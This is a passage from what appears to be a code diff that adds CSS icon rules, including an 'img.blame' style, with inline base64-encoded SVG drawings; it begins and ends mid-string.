DUgNC40ODg1IDAgMCAwLTQuNDg4NiA0LjQ4ODYgNC40ODg1IDQuNDg4NSAwIDAgMCA0LjQ4ODYgNC40ODgxIDQuNDg4NSA0LjQ4ODUgMCAwIDAgNC40ODg2LTQuNDg4MSA0LjQ4ODUgNC40ODg1IDAgMCAwLTQuNDg4Ni00LjQ4ODZ6bTAuNDc3OTkgMS4yMTdjMC4yODU0NiAwIDAuNDkwNDEgMC4yMjI3NiAwLjQ5MDQxIDAuNTI2MDUgMCAwLjM2NTc2LTAuMjU4NzkgMC42NDIzNS0wLjYwNjY2IDAuNjQyMzUtMC4zMTIyNCAwLTAuNDkwNDQtMC4xODczNy0wLjQ5MDQ0LTAuNTA4NSAwLTAuMzc0NjUgMC4yNjc3NC0wLjY1OTkgMC42MDY2OS0wLjY1OTl6bS0wLjE2MDcgMi4wMTU5YzAuMTMzNzkgMCAwLjIyMzIyIDAuMTMzOTYgMC4yMjMyMiAwLjMzMDIzIDAgMC4xNzgzOC0wLjAzNiAwLjQyNzg4LTAuMDgwNiAwLjU5NzM3bC0wLjQ4MTY1IDEuNzQ4N2MtMC4xMTU5NCAwLjQxOTI2LTAuMTc4MjcgMC43MTM0NS0wLjE3ODI3IDAuODI5NDIgMCAwLjA1MzUgMC4wNDQ1IDAuMDk4MiAwLjEwNjk3IDAuMDk4MiAwLjA4OTIgMCAwLjIzMTkzLTAuMDcxNCAwLjU0NDE3LTAuMjY3NjhsMC4yNDA4LTAuMTUxNDIgMC4xMDY5NyAwLjI0OTYxYy0wLjA5ODEgMC4wNzEzLTAuMTMzNjQgMC4wODkxLTAuMjQ5NTkgMC4xNzgyNy0wLjcyMjU3IDAuNTE3MzktMS4xNDIxIDAuNzIyNDUtMS40ODEgMC43MjI0NS0wLjE2OTUgMC0wLjI4NTI1LTAuMTUxNTMtMC4yODUyNS0wLjM4MzQ2IDAtMC4xNDI3MiAwLjAyNjUtMC4zMzg2NCAwLjA1MzItMC40NjM1M2wwLjUyNjYtMi4xNTAzYzAuMDUzNS0wLjIzMTkgMC4wNzEzLTAuMzAzMDIgMC4wNzEzLTAuMzU2NTUgMC0wLjA2MjQtMC4wMzU5LTAuMDk4Mi0wLjA4OTQtMC4wOTgyLTAuMDgwMyAwLTAuNDQ1OTggMC4xNzg0Ny0wLjYxNTQ3IDAuMzAzMzVsLTAuMTk1ODUgMC4xNDI2MS0wLjExNjI2LTAuMjMyMDEgMC41NjIyNC0wLjQxOTFjMC41NDQxNS0wLjQxMDM1IDEuMDc5Mi0wLjY3OCAxLjMzNzktMC42Nzh6IiBmaWxsPSIjMmE3ZmZmIiBzdHJva2U9IiM1NDAiIHN0cm9rZS1vcGFjaXR5PSIuMTgxODIiIHN0cm9rZS13aWR0aD0iLjA2NSIvPgo8cGF0aCBkPSJtNTIzLjY1IDcxNy40MXY1Ljc5NjRoNC4yNDI5di00LjUxMDJsLTEuMjg2Mi0xLjI4NjJ6IiBmaWx0ZXI9InVybCgjYykiIHN0cm9rZT0iIzAwMCIgc3Ryb2tlLXdpZHRoPSIuMjY0NThweCIvPgo8cGF0aCBkPSJtNTIyLjg4IDcxNS45NXY1Ljc5NjRoNC4yNDI5di00LjUxMDJsLTEuMjg2Mi0xLjI4NjJ6IiBmaWx0ZXI9InVybCgjYikiIHN0cm9rZT0iIzAwMCIgc3Ryb2tlLXdpZHRoPSIuMjY0NThweCIvPgo8cGF0aCBkPSJtNTIzLjU1IDcxNy4yMXY1Ljc5NjRoNC4yNDI5di00LjUxMDJsLTEuMjg2Mi0xLjI4NjJ6IiBmaWxsPSIjZWNlY2VjIiBzdHJva2U9IiMwMDAiIHN0cm9rZS13aWR0aD0iLjI2NDU4cHgiLz4KPHBhdGggZD0ibTUyNC40NSA3MTguNDJoMi40NTU2IiBmaWxsPSJub25lIiBzdHJva2U9IiM0ZDRkNGQiIHN0cm9rZS13aWR0aD0iLjI2NDU4cHgiLz4KPHBhdGggZD0ibTUyNC40NiA3MTkuMTNoMi40NTU2IiBmaWxsPSJub25lIiBzdHJva2U9IiM0ZDRkNGQiIHN0cm9rZS13aWR0aD0iLjI2NDU4cHgiLz4KPHBhdGggZD0ibTUyNC40NiA3MTkuODloMi40NTU2IiBmaWxsPSJub25lIiBzdHJva2U9IiM0ZDRkNGQiIHN0cm9rZS13aWR0aD0iLjI2NDU4cHgiLz4KPHBhdGggZD0ibTUyNC40NiA3MjAuNjFoMi40NTU2IiBmaWxsPSJub25lIiBzdHJva2U9IiM0ZDRkNGQiIHN0cm9rZS13aWR0aD0iLjI2NDU4cHgiLz4KPHBhdGggZD0ibTUyNC40NiA3MjEuMzZoMi40NTU2IiBmaWxsPSJub25lIiBzdHJva2U9IiM0ZDRkNGQiIHN0cm9rZS13aWR0aD0iLjI2NDU4cHgiLz4KPHBhdGggZD0ibTUyNC40NiA3MjIuMDhoMi40NTU2IiBmaWxsPSJub25lIiBzdHJva2U9IiM0ZDRkNGQiIHN0cm9rZS13aWR0aD0iLjI2NDU4cHgiLz4KPHBhdGggZD0ibTUyMi43OCA3MTUuNzV2NS43OTY0aDQuMjQyOXYtNC41MTAybC0xLjI4NjItMS4yODYyeiIgZmlsbD0iI2ZmZiIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4yNjQ1OHB4Ii8+CjxwYXRoIGQ9Im01MjMuNjggNzE2Ljk1aDIuNDU1NiIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4yNjQ1OHB4Ii8+CjxwYXRoIGQ9Im01MjMuNjkgNzE3LjY3aDIuNDU1NiIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4yNjQ1OHB4Ii8+CjxwYXRoIGQ9Im01MjMuNjkgNzE4LjQzaDIuNDU1NiIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4yNjQ1OHB4Ii8+CjxwYXRoIGQ9Im01MjMuNyA3MTkuMTVoMi40NTU2IiBmaWxsPSJub25lIiBzdHJva2U9IiMwMDAiIHN0cm9rZS13aWR0aD0iLjI2NDU4cHgiLz4KPHBhdGggZD0ibTUyMy42OSA3MTkuOWgyLjQ1NTYiIGZpbGw9Im5vbmUiIHN0cm9rZT0iIzAwMCIgc3Ryb2tlLXdpZHRoPSIuMjY0NThweCIvPgo8cGF0aCBkPSJtNTIzLjcgNzIwLjYyaDIuNDU1NiIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4yNjQ1OHB4Ii8+CjwvZz4KPC9zdmc+Cg\u003d\u003d\u0022);\n+\twidth:0px;\n+\theight:0px;\n+\tcursor:pointer;\n+\tpadding:0.7em 0.6em;\n+\tbackground-repeat: no-repeat;\n+\tvertical-align:middle;\n+\tcolor: rgba(0, 0, 0, 0) !important;\n+}\n+\n+img.blame {\n+\tdisplay: inline-block;\n+\tbackground: url(\u0022data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCA2MC43ODYgMzEuMjA0IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOmNjPSJodHRwOi8vY3JlYXRpdmVjb21tb25zLm9yZy9ucyMiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KPG1ldGFkYXRhPgo8cmRmOlJERj4KPGNjOldvcmsgcmRmOmFib3V0PSIiPgo8ZGM6Zm9ybWF0PmltYWdlL3N2Zyt4bWw8L2RjOmZvcm1hdD4KPGRjOnR5cGUgcmRmOnJlc291cmNlPSJodHRwOi8vcHVybC5vcmcvZGMvZGNtaXR5cGUvU3RpbGxJbWFnZSIvPgo8ZGM6dGl0bGUvPgo8L2NjOldvcms+CjwvcmRmOlJERj4KPC9tZXRhZGF0YT4KPGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTU4LjA1MyAtMTU2LjY3KSI+CjxwYXRoIGQ9Im01OC45OSAxNjAuNzdjMi4wNDEyLTAuMDE2MiAzLjYwMDUgMS45Nzc3IDUuNDQ4OCAxLjA1OTggMi4yOTgxLTAuOTUzMTQgNC45MzUxLTEuMDIxMSA1LjQ1NzIgMC42NTMyOCA0Ljk1NzktMS45MTA3IDEwLjA3Ny0zLjUwNDkgMTUuMTYtNS4xMDEzIDYuODA3LTAuNTAxMTIgMTMuNjQzLTAuODYxNjggMjAuNDY0LTAuNDU0MjEgNC4wMTQ4IDAuMzExOTIgNy44ODg2IDEuNDMzMiAxMS44MTEgMi4yNjY1IDIuNDUwNyAwLjczMzg4IDEuNTY2MiAzLjI4NDktMS4zMDI4IDMuNjM5MS0xLjgzMjcgMC4yNTk5My00LjU1NjUtMC40MDc3OC02Ljg1MTMtMC40MDA3Ni0yLjIxNzIgMC4xOTkxNS00LjY1MDQgMC4yMTg5MS02LjcxNzggMC41OTU1My0wLjA0NjIgMS41Mjg0LTAuNDkxNDQgMy4yMzIzLTEuNzgzNCA0LjA1NzEgMS43Nzk3IDEuNzY4MS0wLjE5MDQ1IDQuMzY5Ni0xLjc0MDUgNS41NDM2LTAuMzYwMjkgMC4xMjYxLTAuMzIzNzggMC4zMTIxOS0wLjExNzU1IDAuNTYxNTcgMC4zMzU5MSAwLjQwNjIyIDAuNTk1NzQgMC44NjYwNyAwLjQ5ODcyIDEuOTMzNy0wLjA0NTkgMS42NzA4LTMuMDE1OCAyLjEwMjUtMi44NjUyIDMuMDAyNyAwLjAzMjggMC4xOTU4OSAwLjU5MTM4IDAuMTc4ODQgMC43NTg2MyAwLjgzOTA2IDAuNzU4MzMgMi4yMjU0LTEuNjc1MSA0LjQzMzktMy43ODY3IDQuNjY0My00LjQ5MzMgMC44Mzc1Ni05LjA2MTQgMS4zOTA2LTEzLjYzMiAxLjUxOTEtMi4zNjI3LTAuMDI0Mi00LjgzMzQgMS4yMDItNy4wODcyLTAuMDc0Mi0xLjMyMDUtMC41ODE2OC0zLjUzNjYtMy4zODY5LTMuODY1Ni0wLjU4NDIxLTEuMTY4NSAxLjk4NTYtMi40OTc4IDMuNTI0OC00LjUxMDkgMy4yNzIxLTIuNzgyMS0wLjU0MjQ5LTQuOTUyNi0xMS4zMTEtNC42MDU4LTEzLjA2OSAwLjEwNzAzLTEuOTYyLTAuNjUxNS01LjIwODMtMC44NTc3Mi03LjIwNS0wLjQzODEyLTIuMzc5Ni0wLjQxMDA0LTMuMjgyNy0wLjcyNDgxLTUuNjc5eiIgZmlsbD0iI2YyZjJmMiIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4xNjUiLz4KPHBhdGggZD0ibTEwMi42MyAxNjIuODdjLTIuMjk0My0wLjUxMy00Ljc4MzMgMC4zNDM4LTYuOTM0Mi0wLjc5NzU2LTIuMjUzOS0wLjc3ODY2LTQuNDU0OS0yLjIwODktNi44OTk1LTEuMzU0My0yLjkzNjQgMC40NTYxOS01LjgzMDEgMS4xNDE4LTguNzUwNiAxLjY4NDEiIGZpbGw9Im5vbmUiIHN0cm9rZT0iIzAwMCIgc3Ryb2tlLXdpZHRoPSIuMjY0NThweCIvPgo8cGF0aCBkPSJtOTYuNjE4IDE3OC4wM2MtMS4yMDg2LTAuMzM4OTgtMi40NTc3LTAuNTYyNzgtMy42Mzk1LTAuOTc4NTctMS40NTUtMC42NzYyNy0yLjg2MzMtMS40NzI1LTQuNDEzNi0xLjkxNjEtMC42OTkzMi0wLjI3NTM5LTEuNDk4NC0wLjM3OTYyLTIuMDQwMS0wLjk0Mzc2LTAuNjQ3NC0wLjQ4MzUtMS4zOTM5LTAuOTE3MjEtMS4xNjU0LTEuODQxMS0wLjI3MzQ1LTAuNzQxNyAwLjYyOTg0LTEuNjk4NSAxLjQwODMtMS4yMjAyIDEuNDk3NCAwLjM3MDE3IDEuODgxNSAwLjYxNzE2IDMuMDAwNCAwLjgwNjMgMS40MzcyIDAuMjczODYgMi45MDc1IDAuMDYyMiA0LjM1MjQgMC4xODM4IDEuNTAwNyAwLjMyMTU5IDMuMjEwMiAwLjY1OTg2IDQuNzEwOSAwLjk4MTQ1IiBmaWxsPSJub25lIiBzdHJva2U9IiMwMDAiIHN0cm9rZS13aWR0aD0iLjI2NDU4cHgiLz4KPHBhdGggZD0ibTEwMC44MyAxNjcuMTRjLTEuMTcxNCAwLjE4NzY1LTIuMzE4NSAwLjY3MzM0LTMuNTA5MyAwLjYzODkxLTEuMDM1NC0wLjA1MjQtMi4wOTA0LTAuMDMzNS0zLjA2ODgtMC40MjUzMS0xLjI3NDctMC40NTIwMi0yLjY0ODgtMC4zNTM1OS0zLjk3ODItMC40NzQxLTAuOTcwMjYgMC4xNjE0Mi0yLjAwMzcgMC4wNzA2LTIuOTI4MSAwLjQyMTE1LTAuODgwNzUgMC4zNDAzMi0xLjg2NyAwLjU3ODEyLTEuOTUwNCAxLjY5MzUtMC4yNTA2OCAwLjk0MDQ3IDAuNjI1MDkgMS44MTk0IDEuNTQ2OSAyLjAxNDIgMC45MTM4NiAwLjQxMTgyIDIuMTc0IDAuNzI0NjkgMy4xMzAzIDEuMDA5MyIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4yNjQ1OHB4Ii8+CjxwYXRoIGQ9Im04Ny4zOTcgMTc1LjIzYy0wLjI3NTExIDAuMzI1NjgtMC43MTIzIDAuNTU2MzQtMC43NzQyNiAxLjAxMjgtMC4yNzI3MyAwLjQ2MjAyLTAuMDQzNSAwLjkzNjE1IDAuMDczMyAxLjQwMzMgMC4yNzkxMSAwLjQzNzI0IDAuODQzMDIgMC42ODcyMyAxLjIzMiAxLjA1MzEgMS4wNTE4IDAuODEzMzQgMi4xMzA1IDEuNTk1NCAzLjI0MjEgMi4zMjQ1IDAuNjM1NDQgMC4zODUxMSAxLjI3MDkgMC43NzAyMyAxLjkwNjMgMS4xNTUzIiBmaWxsPSJub25lIiBzdHJva2U9IiMwMDAiIHN0cm9rZS13aWR0aD0iLjI2NDU4cHgiLz4KPHBhdGggZD0ibTczLjE2NSAxNzQuMDJjMS43NTMgMC40NTg0IDMuNDM2OCAxLjYzODcgNS4zMjQ0IDEuMTU3NiAyLjgwMi0wLjIzNDMgNS44Njg2LTEuODI4NSA2LjY3ODYtNC43MDEgMC4xNDY5OC0wLjU2NDQgMC4xNzkzMi0xLjE1ODUgMC4wOTEtMS43MzUyIiBmaWxsPSJub25lIiBzdHJva2U9IiMwMDAiIHN0cm9rZS13aWR0aD0iLjI2NDU4cHgiLz4KPHBhdGggZD0ibTEwOS45OCAxNTguNjYgMC40MDA5MiAxLjIwMjcgMC4wNjY4IDAuOTM1NDYtMC4yMDA0NSAwLjkzNTQ0IiBmaWxsPSJub25lIiBzdHJva2U9IiMwMDAiIHN0cm9rZS13aWR0aD0iLjE2NSIvPgo8cGF0aCBkPSJtMTAwLjgzIDE1OS4xOSAwLjIwMDQ1IDIuMzM4NiIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4xNjUiLz4KPHBhdGggZD0ibTk3LjY4NyAxNjIuOGMwLjI2NDMgMC4zNjQwNyAwLjM3NDg5IDAuODg2OTQgMC43NDM3NSAxLjE0MjUgMC4yNzE1MyAwLjIxMTUzIDAuNTk5ODIgMC4zMDYzOSAwLjk0MTc3IDAuMjg4NTQgMC45OTcyMyAwLjA1NzUgMS45OTQ1IDAuMTE1MDUgMi45OTE3IDAuMTcyNTkgMC4wODkxLTAuNTEyMjcgMC4xNzgxOC0xLjAyNDUgMC4yNjcyNy0xLjUzNjgiIGZpbGw9IiNjY2MiIHN0cm9rZT0iIzAwMCIgc3Ryb2tlLW9wYWNpdHk9Ii40NTA0MSIgc3Ryb2tlLXdpZHRoPSIuMTY1Ii8+CjxwYXRoIGQ9Im04OC43ODggMTc0LjA1Yy0wLjExODUzIDAuNDQ3NDMtMC4zMDE3NyAwLjUyNTg1LTAuOTkyMjIgMC40Njc3NC0wLjUxMjAzLTAuMTg2ODMtMS4wMjI2LTAuMzc3NjMtMS41MzUtMC41NjM1Mi0wLjQ4NjIyLTAuMjgyMTMtMC43ODE1OS0wLjQ5MzMzLTEuMDgzLTEuMzAzMy0wLjE2NTg2LTAuMjQ3MDctMC4xMzAwMi0xLjM2MyAwLjUwNzI2LTEuNDE4NSAxLjEwMTctOGUtMyAyLjA5NDMgMC42OTU2NSAzLjA0OCAxLjAwMDQgMC40MTM0NCAwLjIzMzgyIDAuMjYyNiAxLjM1MjYgMC4wNTQ5IDEuODE3MnoiIGZpbGw9IiNjY2MiIHN0cm9rZT0iIzAwMCIgc3Ryb2tlLW9wYWNpdHk9Ii4zMDk5MiIgc3Ryb2tlLXdpZHRoPSIuMTY1Ii8+CjxwYXRoIGQ9Im04MC40NjkgMTYyLjM3YzIuMDM2OC0wLjczNzk1IDQuNTgxMS0xLjU4ODQgNi42ODk3LTIuMDkzIDEuNjUyLTAuMjAxMjcgMi43MDA1LTEuMDY3NiA0LjM1NjEtMC42MTE4MyAxLjgwMTYgMC44OTc4MyAyLjYyNjIgMC45MzMzMSAzLjc4MTEgMS43MzYxIDEuNTA5MyAwLjkxOTkgMy4zMTUzIDEuMzAxIDUuMTExMyAxLjI1MjItMS4zMzE5LTAuMDE2LTIuNzM0IDAuMzMwNzgtMy45ODE5LTAuMzE5MDQtMS42OTg0LTAuNjEzMDUtMy4zOTU0LTEuMjI5Ny01LjA4OTUtMS44NTQzLTIuMzEyOSAwLjE4MTYzLTQuNjExNyAwLjUxMzA0LTYuODUyMiAxLjEyMzUtMS4zMzE0IDAuMjg5NzgtMi42NzI5IDAuNTMwMS00LjAxNDYgMC43NjY0eiIvPgo8cGF0aCBkPSJtOTQuMDY4IDE3MS45OHMyLjk4MDQgMC4zNzc3MyAzLjc4ODEgMC4zMzA0OGMwLjMxNDk4LTAuMDQ3MyAxLjEyNjMgMC4wNjk5IDEuODg5OS0wLjIwODNsLTAuOTQ0OTQgMS4wMzk0eiIvPgo8cGF0aCBkPSJtOTIuMDkyIDE3Ni40NWMwLjk0MjM5IDAuMTU4MTIgMS44NzkyIDAuMzU2NjcgMi44MjU0IDAuNDg3NDQgMC42OTYwOSAwLjA1OCAxLjM5MjIgMC4xMTYwMSAyLjA4ODMgMC4xNzQwMiAwLjQ3MjQ3LTAuMTI2IDAuOTY4NTYtMC4yOTkyNCAxLjQ0MS0wLjQyNTI0LTAuNDc3NDYgMC4zNzg2Mi0wLjk3MjA0IDAuODEyNjktMS40NTM2IDEuMTg2Mi0wLjIyNDM1IDAuMDgxNS0wLjQ0OTk5IDAuMjQyMjUtMC42ODg5OSAwLjEyNjcyLTAuOTMxNTktMC4yMzI4OS0xLjg2MzItMC40NjU3OS0yLjc5NDgtMC42OTg2OC0wLjQ3MjQ3LTAuMjgzNDgtMC45NDQ5NC0wLjU2Njk3LTEuNDE3NC0wLjg1MDQ1eiIvPgo8cGF0aCBkPSJtODYuODk1IDE3OC4wNmMxLjUyNTUgMS45MjY4IDAuNTkwMjcgNS4xNjg3LTIuMDEyOSA1LjUwMTUtMi43ODY4IDAuNjgyOS01Ljc0NjEgMC45ODA5OC04LjU5OTUgMC44MTYwOC0yLjQwMDQtMC44MDg1Mi00LjkzMzYtMS42Njk3LTYuNjM4OS0zLjY1MjQtMC44MTEyOC0xLjEyMzYtMy45ODM3LTIuMjM5OS0xLjY5ODYtMC40NTUyMyAxLjk2NDggMS45MTIyIDQuNTQzNyA0LjUyODUgNi41MTE2IDQuODA4M3MxMC4zMzUtMC43Mjk4NCAxNS40NDgtMS4yMDU4YzIuNjA0NC0wLjUzMTI5IDMuNTg0LTIuNDkzOCAwLjUyODQ3LTMuMzk2NS0xLjE3OTktMC44MDQ3MS0yLjM1OTEtMS42MTA2LTMuNTM4NC0yLjQxNjF6Ii8+CjxwYXRoIGQ9Im05MC4yOTYgMTY1LjNjMC4yMTQwOS0wLjQyNzc2IDAuMzM3NjQtMS40Mzg1IDAuNjA2NjItMS41MDczIDAuMDQ0OCAwLjY1NDMxLTNlLTMgMS40ODM1IDAuNzgzNjIgMS43MTA0IDEuMTI5NCAwLjY5MDg1IDIuMzIzNyAxLjI5ODcgMy42MTggMS42MDgyIDAuOTQxNDggMC4zMTI0OSAxLjkxNDEgMC41MDc4NiAyLjg5NjkgMC42MjgwNy0wLjMxNDM3IDAuMDg3NC0xLjAwNjggMC4xMDU1Mi0xLjQ2NDMgMC4xNjMxNC0wLjYzMTk1IDAuMDc5NS0xLjI0MzQtMC4xMDU1My0xLjgxNzYtMC4zNDc4MS0xLjI0MDItMC4zNzc0Ny0yLjU0MjItMC41MDI3OC0zLjgyNjktMC42MjM2OC0wLjg4OTYxIDAuMDQxNC0xLjc3ODkgMC4xMzg4NC0yLjY2NzUgMC4yMTYzNy0wLjgxMDM0IDAuMDE4MS0xLjQyOTMgMC41OTg4My0yLjEwNDUgMC45NzIxOC0wLjYxMSAwLjIzNzI1LTAuNzM4MjQgMC42MzkwMS0wLjczMDE5IDEuMzMwNS0wLjIxNzAzIDAuODgzNDctMC42OTM4MyAxLjcyNC0wLjk0MDYgMi41OTc4LTAuMjU2MDcgMC40NTM5OS0xLjAwNjggMC45ODEzMS0xLjI5OTYgMS4wMzg1IDAuMjM2NDgtMC43Njg1NiAwLjQ3Mjk3LTEuNTM3MSAwLjcwOTQ0LTIuMzA1N2wtMS4zMjI5IDAuNTY2OTdjMC40NzI0Ny0wLjQwOTQ4IDAuOTQ0OTQtMC44MTg5NSAxLjQxNzQtMS4yMjg0LTAuNzg3NDUtMC4wNjMtMS41NzQ5LTAuMTI1OTktMi4zNjI0LTAuMTg4OTkgMC43NDM4Ny0wLjMwNDE0IDEuNjA0NC0wLjMwMzA5IDIuMjc3NC0wLjc3NTkxIDAuMTU2MzgtMC42Njg0MyAwLjEyNzgxLTEuMjI4LTAuNjU5MzItMS4yOTA5LTAuMzQyNDctMC4xMzEzNS0xLjA5NDQtMC4zNTgxOC0xLjEzNjItMC40NTE0OSAwLjg3ODgzIDAuMTQ2NDggMS43NTc3IDAuMjkyOTUgMi42MzY1IDAuNDM5NDIgMS4zMjk1LTAuNTA2MjkgMi42NDYxLTEuMDgxNSA0LjA0OTItMS4zNTI2IDAuNTI3NTItMC4yNjcwOSAwLjg3MDg3LTAuNzgwMjggMS4zMDczLTEuMTY5MWwwLjAyOTgtMC4wMjk4eiIvPgo8cGF0aCBkPSJtODkuMzA0IDE2Ny45Yy0wLjYzNzM5LTAuMTgzNTUtMS45MDU2LTAuNTg5ODctMi40NzQ3LTAuMTQ3NzUtMC41NjU5NyAwLjI5OTk1LTEuMTg2NCAwLjQ5NjY4LTEuMTgzMSAxLjI3NzItMC4wODkyIDAuNDk0NzQtMC4wODA3IDEuMTA4NCAwLjQwMTUzIDEuNDAwNiAwLjU0ODYyIDAuMzc4MzMgMS4yMjE5IDAuNTAwNjcgMS44MzM4IDAuNzQxMDQgMC42ODM3NyAwLjI1NTEzIDEuNDQ2NS0wLjA4IDEuODM2LTAuNjY5MjcgMC40MDE5Ny0wLjQxMDE4IDAuMzA5NzMtMS4wMzczIDAuMzA2MDItMS41NjI1LTAuMDg0LTAuNjExMzEtMC4yMjU1MS0wLjcwNTg4LTAuNzE5NDktMS4wMzk0eiIgZmlsbD0iI2NjYyIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utb3BhY2l0eT0iLjM1NTM3IiBzdHJva2Utd2lkdGg9Ii4xNjUiLz4KPHBhdGggZD0ibTg2LjYxMSAxNzcuMmMwLjIxMjE2IDAuMzU0NDkgMC45NzE4MyAwLjkwNDQ3IDEuNjQwNiAwLjg5NzcxIDAuNjk1MzggMC4wMjA3IDEuNDEwMi0wLjgxMDczIDEuNTU2Ny0xLjMyNTQgMC4xMzQ1NS0wLjkzNTc0LTEuMjkzMS0xLjgyNTktMS45MzIxLTEuODE1Ni0wLjg2NzY4IDAuNDE0MS0xLjQyODYgMS4zNDktMS4yNjUyIDIuMjQzM3oiIGZpbGw9IiNjY2MiIHN0cm9rZT0iIzAwMCIgc3Ryb2tlLW9wYWNpdHk9Ii4yOTMzOSIgc3Ryb2tlLXdpZHRoPSIuMTY1Ii8+CjxwYXRoIGQ9Im05NS40MDIgMTYwLjg5YzEuMzM4NCAwLjM2NDU5IDIuNzAwOCAwLjYyOTY1IDQuMDU5OSAwLjkwMjgyIDAuNjEyMjQtMC4wMjggMS4xOTk3LTAuNjQxMDUgMS43NzM3LTAuNDQwMzYgMC42MDg5NCAwLjgxNTk0IDEuNzQ1MiAwLjcxOTg3IDIuNjQ2MiAwLjkyMDQzIDEuMTgzNSAwLjA3MzEgMi4zODA0LTAuMDUgMy41NjItMC4xNTc5OSAxLjA0Ny0wLjAxMTQgMS45OTM3LTAuMzQ5NTUgMi44MjE2LTAuOTkwODkgMC4zNzcyMyAwLjAzODcgMC40MjYwNyAwLjk4NDQ5IDEuMDU0NCAxLjA0ODYgMS4yMjA4IDAuNjExODcgMi42NCAwLjY2NjYyIDMuOTY1MyAwLjQzNDU0IDAuNjczOS0wLjIxNjc4IDEuNDI5LTAuMjIxIDIuMDYxOC0wLjUyOTY1IDAuMzM1NzUtMC4yMjI3NyAxLjE5NzYtMS4xMDcgMS4xNjgyLTAuODcwNjgtMC4zMTYwMiAwLjkxODAxLTEuMTc4NiAxLjY2NDktMi4xODg5IDEuNTE1Ni0xLjE2MTEgMC4xMTk2My0yLjMzNyAwLjIxODMyLTMuNDkxLTAuMDExMi0xLjQ0MDQtMC4xMzM5LTIuODg4MS0wLjI5OTQ5LTQuMzM1Mi0wLjI2MDY1LTEuOTczOSAwLjEzNjI3LTMuOTQ0OCAwLjMxMjE0LTUuOTE3MyAwLjQ2ODEyLTEuMjg3My0wLjQzNDEyLTMuNDgxNS0wLjA2ODUtNC43ODQzLTAuNDQ0NDMtMS4xNjcyLTAuMjMzMDktMi42OTUxLTEuMDUzNC0zLjYzMjctMS43ODQ4eiIgZmlsbC1vcGFjaXR5PSIuNTEyNCIvPgo8cGF0aCBkPSJtMTAyLjIyIDE2NC42MWMtMC43ODI0OSAxLjMxNjYtMi4xMDU4IDIuMTMyMi0zLjQyODUgMi4xNDcxLTEuNzE3MyAwLjMyNDE3LTMuODUxMSAwLjA4NzUtNS4yNDY4LTAuNjk0MjEtMC42NDk5LTAuNjQyNjMtMS4wOTA4LTAuODI5MTMtMS43MjI1LTEuNDc4OS0wLjI0MTYyLTAuMzY5NTUtMC41Nzc3NC0xLjA0NjItMC44MTkzNi0xLjQxNTgtMC40NjQyMyAwLjA2NzItMC41MTcxMiAwLjEyMjI5LTAuODczMjEgMC43MzczMy0wLjE0ODA4IDAuNjcwNDUtMC44MDgxMyAxLjA1NDgtMS4yMzg5IDEuNTUwOS0wLjUzNjUzIDAuNDMyMDktMC45MTEwMiAxLjE0MzUtMS42NTA2IDEuMjI1NS0wLjcxMDI5IDAuMjIzNy0xLjQyMDcgMC40NDY0NC0yLjE3NTMgMC4zOTA1LTEuMTU0NCAwLjAzNTctMi4zMDk1LTAuMDI0My0zLjQ2NDItMC4wMy0wLjM5NDE0IDEuMTA5IDEuMjMyOSAxLjA3MzMgMi4wMzE2IDEuMzIyOSAwLjI3NDk0IDAuNDcyNDktMC4yNzgyMiAwLjc3NzY5LTAuNjc0NTcgMC44NzA3OC0wLjYyMTUgMC4yNzE4LTEuMjcyNSAwLjQ1NzIyLTEuOTI0IDAuNjQxMSAwLjgzOTk0IDAuNzYyODMgMS41NzY1IDAuNDI4MTQgMi41OTg2IDAuMzMwNzMtMC42Mjk5NiAwLjQ4ODIzLTEuMjU5OSAwLjk3NjQ1LTEuODg5OSAxLjQ2NDcgMC4zNDA2MiAwLjMwNTYyIDAuODI0MjgtMC4xMTMzNSAxLjIyOC0wLjEyNzY1IDEuMDE5OCAxLjg5OTMtMi45NDkyIDMuMDM2My00LjEzMDUgMy4yMjI4LTIuNjI3Ny0wLjM5MjQ3LTMuNzY0Mi0xLjIyMTItNS4xMzA4LTIuMzU3NS0xLjA0ODYtMS4xOTQ4LTIuMTAxOS0yLjM4NTEtMy4zMDMxLTMuNDMwOS0wLjU5NjAzLTAuMTk1NC0xLjI2NzYtMC4yNDAzOS0xLjg5MjgtMC4zNzc3NCAwLjYxMTA4IDAuMzE4MDEgMS4zMjA3IDAuNTM4NTMgMS44NzE5IDAuOTE1NzMgMC44MDk0MSAxLjc4OTYgMS41NjUyIDMuMjkxOSAyLjg3MzYgNC41ODcxIDEuMjQ1OCAwLjQxNTUyIDIuNDg1OCAwLjg1MzI2IDMuNzkxOSAxLjAzNzIgMC41Nzc1NyAwLjEwNzAyIDEuMTU2NiAwLjMxNjY0IDEuNzI5IDAuMDczNSAwLjg2NDYyLTAuMjI4MzIgMS43NzczLTAuMzQwMDEgMi42MTE2LTAuNjQxOCAwLjcxOTgtMC40NzU2NSAxLjUwMy0wLjg4ODM1IDIuMTg0LTEuNDAyNSAwLjQ3NTk0LTAuODU1MjQgMS4xNjE1LTEuNjE3NCAxLjMzNzQtMi42MDU5IDAuMjE4OTMtMC43NDg5NCAwLjQzNzg1LTEuNDk3OSAwLjY1Njc3LTIuMjQ2OCAwLjgwODM3LTAuMzk4MjUgMS41NTAxLTAuOTY3OCAyLjQwNDUtMS4yNDc4IDAuNzI4MDUtMC4xMTczNiAxLj